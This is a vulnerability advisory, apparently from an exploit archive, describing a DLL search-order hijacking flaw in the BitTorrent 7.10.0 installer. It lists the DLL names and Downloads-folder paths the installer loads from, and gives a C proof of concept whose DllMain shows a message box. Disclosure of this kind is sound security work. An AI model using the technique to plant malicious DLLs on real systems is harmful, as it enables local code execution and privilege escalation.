Bittorrent 7.10.0 (Build 43581) Installer DLL Hijacking

Bittorrent versions 7.10.0.43581 and below suffer from an installer dll search order hijacking vulnerability.


MD5 | 0b8e85295c184e98cb13d0b7cfdbc839

# Exploit Title: Bittorrent 7.10.0 (Build 43581) Installer DLL Search Order Hijack - "WININET.dll", "DNSAPI.dll", others
# Date of Discovery: July 21 2017
# Exploit Author: Rithwik Jayasimha
# Author Homepage/Contact: https://thel3l.me
# Vendor Name: Bittorrent Inc.
# Vendor Homepage: https://www.bittorrent.com
# Software Link: http://download-new.utorrent.com/endpoint/bittorrent/os/windows/track/stable/
# Affected Versions: <=7.10.0.43581
# Tested on: Windows 10, 8.1 x64
# Category: local
# Vulnerability type: Local Privilege Escalation/Code Execution


# Description:


Bittorrent versions <=7.10.0 Build 43581 automatically search for "WININET.dll", "DNSAPI.dll", "MSIMG32.dll", "CRYPTSP.dll", "bcrypt.dll" and "PHLPAPI.dll"
among others from the installer download location.
This allows a malicious attacker to potentially create these files in the directory resulting in them being run on installer execution.
(code execution, local privilege escalation)
C:\Users\<username>\Downloads\WININET.dll
C:\Users\<username>\Downloads\msls31.dll
C:\Users\<username>\Downloads\USP10.dll
C:\Users\<username>\Downloads\CRYPTSP.dll
C:\Users\<username>\Downloads\bcrypt.dll
C:\Users\<username>\Downloads\PHLPAPI.dll


# Proof Of Concept:
1. Compile, place in vulnerable location and run bittorrent.exe

#include <windows.h>
#define DllExport __declspec (dllexport)
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}
int dll_hijack()
{
MessageBox(0, "Bittorrent 7.10.0.43581 DLL Hijacking PoC", "DLL Message", MB_OK);
return 0;
}

# Additional Notes, References and links:

# Disclosure Timeline:
This issue was remedied in BitTorrent 7.10.0 For Windows (build 43917)

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